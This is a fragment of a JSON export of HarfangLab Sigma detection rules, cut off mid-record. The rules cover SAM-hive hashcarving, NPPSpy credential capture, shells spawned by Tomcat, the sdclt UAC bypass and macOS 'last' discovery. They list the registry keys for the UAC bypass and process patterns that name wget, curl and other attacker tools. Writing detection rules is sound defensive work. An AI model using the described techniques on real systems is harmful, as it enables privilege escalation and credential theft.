+  "content": "title: Possible Hashcarving in SAM Hive\nid: 43dff950-782f-403b-8b2b-8a2d3025027b\ndescription: |\n    Detects the injection of a custom NTLM hash on a user account directly inside the SAM registry hive.\n    This technique, known as hashcarving, can be used by attackers to create users without triggering detection related to normal Windows API user creation.\n    It is recommended to investigate the processes and alerts surrounding this action to determine its legitimacy.\nreferences:\n    - https://github.com/rapid7/metasploit-framework/blob/2382d7530cf0cf2aa4ac63be30c98ca3fcdd6bbf/modules/post/windows/manage/hashcarve.rb\n    - https://attack.mitre.org/techniques/T1078/\ndate: 2020/11/06\nmodified: 2025/08/13\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.defense_evasion\n    - attack.t1003.004\n    - attack.t1112\n    - attack.t1078\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains: 'SAM\\SAM\\Domains\\Account\\'\n        ProcessImage|contains: '?'\n\n    filter_trusted:\n        - ProcessImage:\n            - '?:\\Windows\\system32\\lsass.exe'\n            - '\\Device\\\\*\\Windows\\System32\\lsass.exe'\n        - ProcessImage|endswith: '\\dismhost.exe'\n          ProcessSigned: 'true'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_jumpcloud:\n        ProcessImage: '?:\\Program Files\\JumpCloud\\jumpcloud-agent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'JumpCloud Inc'\n\n    exclusion_cybereason:\n        # HKLM\\SOFTWARE or HKLM\\$OFFLINE_RW_BCE441CA$SOFTWARE\\C\n        - TargetObject: 'HKLM\\\\*SOFTWARE\\Cybereason\\ActiveProbe\\AuditBackup\\MACHINE\\SAM\\SAM\\Domains\\Account\\Users'\n          Details: 'S:PAINO_ACCESS_CONTROL'\n        - TargetObject: 'HKLM\\SOFTWARE\\Cybereason\\ActiveProbe\\AuditBackup\\MACHINE\\SAM\\SAM\\Domains\\Account\\Users'\n          ProcessParentImage: '?:\\Program Files\\Cybereason ActiveProbe\\ActiveConsole\\ActiveConsole.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "43dff950-782f-403b-8b2b-8a2d3025027b",
+  "rule_name": "Possible Hashcarving in SAM Hive",
+  "rule_description": "Detects the injection of a custom NTLM hash on a user account directly inside the SAM registry hive.\nThis technique, known as hashcarving, can be used by attackers to create users without triggering detection related to normal Windows API user creation.\nIt is recommended to investigate the processes and alerts surrounding this action to determine its legitimacy.\n",
+  "rule_creation_date": "2020-11-06",
+  "rule_modified_date": "2025-08-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.004",
+    "attack.t1078",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "440871d7-5765-49ca-9cab-da1ca38a5fb1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085856Z",
+  "creation_date": "2026-03-23T11:45:34.085858Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085862Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy",
+    "https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nppasswordchangenotify",
+    "https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_mpnotify_load_nppspy_dll.yml",
+  "content": "title: Credential Dumped via NPPSpy\nid: 440871d7-5765-49ca-9cab-da1ca38a5fb1\ndescription: |\n    Detects when \"NPPSpy.dll\" is loaded by \"mpnotify.exe\".\n    NPPSpy is used by attackers to receive notifications from \"winlogon.exe\" when a user logs in or changes password.\n    With this, an attacker will get access to credentials in clear text.\n    It is recommended to download and check the loaded DLL.\n    It is also recommended to investigate how and when this DLL was created on the filesystem.\nreferences:\n    - https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy\n    - https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nppasswordchangenotify\n    - https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2021/08/26\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1078\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.HackTool.NPPSpy\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: '\\mpnotify.exe'\n        ImageLoaded|endswith: '\\NPPSPY.dll'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "440871d7-5765-49ca-9cab-da1ca38a5fb1",
+  "rule_name": "Credential Dumped via NPPSpy",
+  "rule_description": "Detects when \"NPPSpy.dll\" is loaded by \"mpnotify.exe\".\nNPPSpy is used by attackers to receive notifications from \"winlogon.exe\" when a user logs in or changes password.\nWith this, an attacker will get access to credentials in clear text.\nIt is recommended to download and check the loaded DLL.\nIt is also recommended to investigate how and when this DLL was created on the filesystem.\n",
+  "rule_creation_date": "2021-08-26",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "442d705c-9fa0-41d4-8e09-02c18684f5c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628131Z",
+  "creation_date": "2026-03-23T11:45:34.628133Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628138Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.aquasec.com/blog/tomcat-under-attack-investigating-the-mirai-malware/",
+    "https://attack.mitre.org/techniques/T1203/",
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1203_tomcat_suspicious_shell.yml",
+  "content": "title: Suspicious Shell Executed by Tomcat\nid: 442d705c-9fa0-41d4-8e09-02c18684f5c3\ndescription: |\n    Detects the execution of a suspicious shell by the Tomcat web server software likely related to a web shell or a command injection via a vulnerable application.\n    Adversaries may backdoor web servers with web shells to establish persistent access to systems.\n    It is recommended to verify the legitimacy of this command and check any other command executed by the Tomcat server.\nreferences:\n    - https://www.aquasec.com/blog/tomcat-under-attack-investigating-the-mirai-malware/\n    - https://attack.mitre.org/techniques/T1203/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2021/09/17\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1203\n    - attack.persistence\n    - attack.t1505.003\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Exploitation\n    - classification.Linux.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    # TODO: Centos checking\n    selection:\n        # NOTE: Tomcat is executed via java and its main class is 'org.apache.catalina.startup.Bootstrap'\n        ParentImage|endswith: 'java'\n        ParentCommandLine|contains: 'org.apache.catalina.startup.Bootstrap'\n        User:\n            - 'root'\n            - 'www-data'\n            - 'tomcat'\n\n    selection_image:\n        Image|contains:\n            - '/bin/'\n            - '/sbin/'\n            - '/tmp/'\n            - '/dev/shm/'\n\n    selection_command:\n        CommandLine|contains: 'sh -c '\n\n    # This is handled by the rule e021ad68-b12f-4190-b70f-e79e622e5860\n    filter_t1203_tomcat_suspicious_command:\n        - Image|endswith:\n            - '/wget'\n            - '/wget2' # https://discussion.fedoraproject.org/t/f40-change-proposal-wget2-as-wget/96422\n            - '/curl'\n            - '/cat'\n            - '/crontab'\n            - '/hostname'\n            - '/ifconfig'\n            - '/ip'\n            - '/iptables'\n            - '/ls'\n            - '/netstat'\n            - '/pwd'\n            - '/route'\n            - '/whoami'\n            - '/w'\n        - CommandLine|contains: 'sh -c uname'\n\n    exclusion_java:\n        # Exclude java childrens\n        Image|endswith: '/java'\n\n    exclusion_system_bin:\n        Image|endswith:\n            - '/dirname'\n            - '/tty'\n            - '/setfiles'\n            - '/chkconfig'\n            - '/getent'\n            - '/getconf'\n            - '/ldconfig'\n            - '/lscpu'\n            - '/systemctl'\n            - '/su'\n            - '/sudo'\n            - '/dash'\n            - '/bash'\n            - '/id'\n            - '/usr/bin/timeout'\n\n    exclusion_image:\n        Image|endswith:\n            - '/libgvc6-config-update'\n            - '/convert-im6.q16' # ImageMagick\n            - '/magick'\n            - '/soffice.bin'\n            - '/libreoffice/program/.soffice.bin'\n            - '/usr/local/bin/pdf2svg'\n            - '/usr/bin/stream'\n            - '/usr/bin/clamscan'\n            - '/usr/bin/ffprobe'\n            - '/opt/jalios/bin/pdf2svg/*/bin/pdf2svg'\n\n    exclusion_ulimit:\n        CommandLine: 'bash -c ulimit -u'\n\n    exclusion_iparapheur:\n        CommandLine: 'grep -E /opt/iParapheur/common'\n\n    exclusion_iparapheur_pdf:\n        Image|endswith:\n            - '/iParapheur/common/lib/libriciel-pdf'\n            - '/iParapheur/common/bin/.pdf2swf.bin'\n        # /opt/iParapheur/common/lib/libriciel-pdf -t -f /opt/iParapheur/alf_data/contentstore/2022/1/4/9/46/4c434528-76e9-4e69-ac52-acb2afc1b0a8.bin\n        # /opt/iParapheur/common/bin/.pdf2swf.bin -V\n        CommandLine:\n            - '*/iParapheur/common/lib/libriciel-pdf */iParapheur/alf_data/contentstore/*'\n            - '*/iParapheur/common/lib/libriciel-pdf */iParapheur/tomcat/temp/*'\n            - '*/iParapheur/common/bin/.pdf2swf.bin -V'\n\n    exclusion_iparapheur_scripts:\n        # /bin/sh /opt/iParapheur/common/bin/pdf2swf -V\n        # /bin/sh /opt/iParapheur/common/bin/convert input output\n        CommandLine:\n            - '/bin/sh */iParapheur/common/bin/pdf2swf -V'\n            - '/bin/sh */iParapheur/common/bin/convert*'\n\n    exclusion_iparapheur_imagemagicks:\n        # /opt/iParapheur/common/bin/.convert.bin input output\n        - Image|endswith: '/iParapheur/common/bin/.convert.bin'\n        - CommandLine: '/usr/bin/convert */iParapheur/tomcat/temp/Alfresco/ImageMagickContentTransformerWorker_init_source_* /iParapheur/tomcat/temp/Alfresco/ImageMagickContentTransformerWorker_init_target_*'\n\n    # /opt/iParapheur/openoffice/program/soffice.bin --accept=socket,host=0,port=8100,tcpNoDelay=1;urp;StarOffice.ServiceManager -env:UserInstallation=file:///opt/iParapheur/alf_data/oouser --headless --nodefault --nofirststartwizard --nolockcheck --nologo --norestore --invisible\n    exclusion_iparapheur_openoffice:\n        Image|endswith: '/iParapheur/openoffice/program/soffice.bin'\n\n    exclusion_iparapheur_convert:\n        CommandLine|startswith: '/usr/bin/convert /opt/iParapheur/'\n\n    exclusion_ldconfig:\n        CommandLine:\n            - '/sbin/ldconfig.real -p'\n            - '/bin/sh /sbin/ldconfig -p'\n\n    exclusion_alfresco_1:\n        # /usr/bin/convert /opt/alfresco-4.2.8/tomcat/bin/../temp/Alfresco/ImageMagickContentTransformerWorker_source_5538363677025863519.pdf[0] -auto-orient -resize 100x150 /opt/alfresco-4.2.8/tomcat/bin/../temp/Alfresco/ImageMagickContentTransformerWorker_target_7368150091786604679.png\n        CommandLine|contains|all:\n            - '/usr/bin/convert '\n            - 'alfresco'\n            - 'ImageMagickContentTransformerWorker_source_'\n            - 'ImageMagickContentTransformerWorker_target_'\n\n    exclusion_alfresco_2:\n        Image: '/opt/alfresco/alfresco-pdf-renderer/alfresco-pdf-renderer'\n\n    exclusion_vadesecure_checkurl:\n        # /opt/vadesecure/checkurl/vr2om-exploreurl.6.0\n        Image:\n            - '/opt/vadesecure/checkurl/vr2om-exploreurl.?.?'\n            - '///opt/vadesecure/checkurl/vr2om-exploreurl.?.?'\n\n    exclusion_alfresco_3:\n        CommandLine:\n            - '*/libreoffice/program/soffice.bin* -env:UserInstallation=file:///opt/tomcat/alfresco/*'\n            - '/opt/libreoffice/program/soffice.bin *'\n            - '/bin/ps -e -ww -o pid,args'\n\n    exclusion_getent:\n        CommandLine:\n            - 'getent passwd'\n            - 'getent group'\n\n    exclusion_grangle:\n        CommandLine:\n            - 'rm -f /GRANGLE/appserver/tomcat/*/temp/null*.sh'\n            - 'chmod --reference /GRANGLE/*'\n            - '/GRANGLE/appserver/jdk/*/bin/keytool -importcert -file /GRANGLE/*'\n            - 'chgrp * /GRANGLE/*/versions'\n            - 'chown * /GRANGLE/*/versions'\n            - '/GRANGLE/appserver/apache/*/bin/httpd -k graceful'\n            - '/GRANGLE/appserver/apache/*/bin/httpd -k start'\n            - '/GRANGLE/appserver/apache/*/bin/httpd -k stop'\n            - 'chmod * /GRANGLE/*'\n            - 'chown * /GRANGLE/*'\n            - 'chgrp * /GRANGLE/*'\n            - 'cp * /GRANGLE/* /GRANGLE/*'\n            - 'ps -eaf'\n            - 'ps -e -o uid,pid,cmd'\n        ParentImage:\n            - '/GRANGLE/appserver/jdk/*/bin/java'\n            - '/appli/*/GRANGLE/appserver/jdk/*/bin/java'\n\n    exclusion_sound_treatment:\n        CommandLine|startswith:\n            - 'sox '\n            - 'lame '\n\n    exclusion_sleep:\n        CommandLine: 'sleep 1'\n\n    exclusion_jalios:\n        CommandLine|startswith: '/usr/bin/convert /opt/jalios'\n\n    exclusion_converters:\n        Image:\n            - '/usr/bin/convert'\n            - '/usr/bin/pdftotext'\n            - '/usr/bin/pdftohtml'\n            - '/usr/bin/wpd2text'\n\n    exclusion_exiftool:\n        CommandLine:\n            - '/usr/bin/perl -w /bin/exiftool'\n            - '/usr/bin/perl /bin/perldoc /bin/exiftool'\n\n    exclusion_atempo_tina:\n        CommandLine|startswith: '/tina/atempowebinterfaces/php/bin/'\n\n    exclusion_amethis:\n        ParentCommandLine|contains: '/amethis/server/java/bin/java'\n        Image: '/usr/bin/kill'\n\n    exclusion_mgr_libmod:\n        Image: '/usr/bin/python3*'\n        CommandLine: '/usr/bin/python3 /usr/bin/mgr-libmod'\n\n    exclusion_jspawnhelper:\n        # /data/ventes/bin/jdk17.0.3/lib/jspawnhelper\n        Image|endswith: '/jspawnhelper'\n\n    exclusion_p4:\n        CommandLine:\n            - '/usr/bin/p4 files *'\n            - '/usr/bin/p4 dirs *'\n\n    exclusion_git:\n        CommandLine: '/usr/bin/git --version'\n\n    exclusion_ps:\n        CommandLine:\n            - '/bin/ps -e -o pid,args'\n            - 'ps * --noheader'\n            - 'ps -fT -U *'\n\n    exclusion_jmap:\n        Image|endswith: '/jdk*/bin/jmap'\n\n    condition: selection and 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "442d705c-9fa0-41d4-8e09-02c18684f5c3",
+  "rule_name": "Suspicious Shell Executed by Tomcat",
+  "rule_description": "Detects the execution of a suspicious shell by the Tomcat web server software likely related to a web shell or a command injection via a vulnerable application.\nAdversaries may backdoor web servers with web shells to establish persistent access to systems.\nIt is recommended to verify the legitimacy of this command and check any other command executed by the Tomcat server.\n",
+  "rule_creation_date": "2021-09-17",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4442a1d3-9bb5-49a9-923a-a787f259e6ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084381Z",
+  "creation_date": "2026-03-23T11:45:34.084383Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084388Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2017/06/09/uac-bypass-sdclt/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_prepare_uac_bypass_sdclt.yml",
+  "content": "title: UAC Bypass via sdclt Prepared\nid: 4442a1d3-9bb5-49a9-923a-a787f259e6ff\ndescription: |\n    Detects the preparation of the sdclt.exe UAC bypass, involving the setting of multiple registry keys.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\nreferences:\n    - https://pentestlab.blog/2017/06/09/uac-bypass-sdclt/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/09/11\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.t1112\n    - attack.t1546.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set_value:\n        EventType: 'SetValue'\n        TargetObject:\n            - 'HKU\\\\*\\folder\\shell\\open\\command\\(Default)'\n            - 'HKU\\\\*\\exefile\\shell\\runas\\command\\IsolatedCommand'\n            - 'HKU\\\\*\\folder\\\\*SymbolicLinkValue'\n            - 'HKU\\\\*\\exefile\\\\*SymbolicLinkValue'\n            - 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe\\(Default)'\n    filter_is_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    selection_rename:\n        EventType:\n            - 'RenameKey'\n            - 'RenameValue'\n        NewName:\n            - 'HKU\\\\*_Classes\\folder\\\\*'\n            - 'HKU\\\\*_Classes\\exefile\\\\*'\n            - 'HKU\\\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe'\n\n    exclusion_explorer:\n        Details: '%systemroot%\\explorer.exe'\n\n    condition: ((selection_set_value and not 1 of filter_*) or selection_rename) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4442a1d3-9bb5-49a9-923a-a787f259e6ff",
+  "rule_name": "UAC Bypass via sdclt Prepared",
+  "rule_description": "Detects the preparation of the sdclt.exe UAC bypass, involving the setting of multiple registry keys.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-09-11",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.001",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "446938b0-0a64-4dac-83f6-62f25e5d6617",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295053Z",
+  "creation_date": "2026-03-23T11:45:35.295057Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295063Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1087/001/",
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1033_last_macos.yml",
+  "content": "title: Last Logged-in Users Discovered via Last (macOS)\nid: 446938b0-0a64-4dac-83f6-62f25e5d6617\ndescription: |\n    Detects the execution of the last command.\n    Attackers may use it during the discovery phase of an attack to retrieve the most recent login of all users or of given users.\n    It is recommended to check for other suspicious activities by the parent process and to correlate this alert with any other discovery activity to determine legitimacy.\n    If this activity is recurrent in your environment and legitimate, it is highly recommended to whitelist it.\nreferences:\n    - https://attack.mitre.org/techniques/T1087/001/\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2022/11/14\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.001\n    - attack.t1033\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/last'\n        ParentImage|contains: '?'\n\n    exclusion_parentimage:\n        ParentImage: '/Library/Application Support/LANDesk/bin/ldapm'\n\n    exclusion_meraki:\n        ParentCommandLine: '/Library/Application Support/Meraki/m_agent --verbose --log /var/log/m_agent.log --pid-file /var/run/m_agent.pid'\n\n    exclusion_ocsinventory:\n        - ParentCommandLine: '/usr/bin/perl /Applications/OCSNG.app/Contents/Resources/ocsinventory-agent'\n        - GrandparentCommandLine: '/usr/bin/perl /Applications/OCSNG.app/Contents/Resources/ocsinventory-agent'\n\n    exclusion_fusion_inventory:\n        - ParentImage: '/opt/fusioninventory-agent/bin/perl'\n        - GrandparentImage: '/opt/fusioninventory-agent/bin/perl'\n\n    exclusion_glpi:\n        - ParentImage: '/Applications/GLPI-Agent/bin/perl'\n        - GrandparentImage: '/Applications/GLPI-Agent/bin/perl'\n\n    exclusion_landesk:\n        ParentImage: '/Library/Application Support/LANDesk/bin/ldiscan'\n\n    exclusion_hagent:\n        - GrandparentImage: '/Library/Application Support/HN/base/bin/HNagent'\n        - CurrentDirectory: '/Library/Application Support/HN/base/bin'\n\n    exclusion_meshagent:\n        ParentImage|startswith: '/usr/local/mesh_services/'\n\n    exclusion_ivanti:\n        ParentImage: '/usr/local/com.ivanti.cloud.agent/IvantiAgent/bin/stagentd.app/Contents/MacOS/stagentd'\n\n    exclusion_adobe:\n        ParentCommandLine|startswith: '/bin/bash /tmp/PKInstallSandbox.??????/Scripts/com.adobe.acrobat.*.??????/preinstall '\n\n    exclusion_dotnet:\n        ParentImage: '/usr/local/share/dotnet/dotnet'\n\n    exclusion_atera:\n        ParentImage: '/Library/Application Support/com.atera.ateraagent/Packages/AgentPackageAgentInformation/AgentPackageAgentInformationApp.app/Contents/MacOS/AgentPackageAgentInformationApp'\n\n    exclusion_manageengine:\n        ParentImage: '/Library/ManageEngine/UEMS_Agent/bin/dcconfig'\n\n    exclusion_globalprotect:\n        ParentImage: '/Applications/GlobalProtect.app/Contents/MacOS/GlobalProtect'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "446938b0-0a64-4dac-83f6-62f25e5d6617",
+  "rule_name": "Last Logged-in Users Discovered via Last (macOS)",
+  "rule_description": "Detects the execution of the last command.\nAttackers may use it during the discovery phase of an attack to retrieve the most recent login of all users or of given users.\nIt is recommended to check for other suspicious activities by the parent process and to correlate this alert with any other discovery activity to determine legitimacy.\nIf this activity is recurrent in your environment and legitimate, it is highly recommended to whitelist it.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "44948abc-3053-4899-af2a-e5a77e12bbba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097813Z",
+  "creation_date": "2026-03-23T11:45:34.097815Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097819Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sandboxiebits.yml",
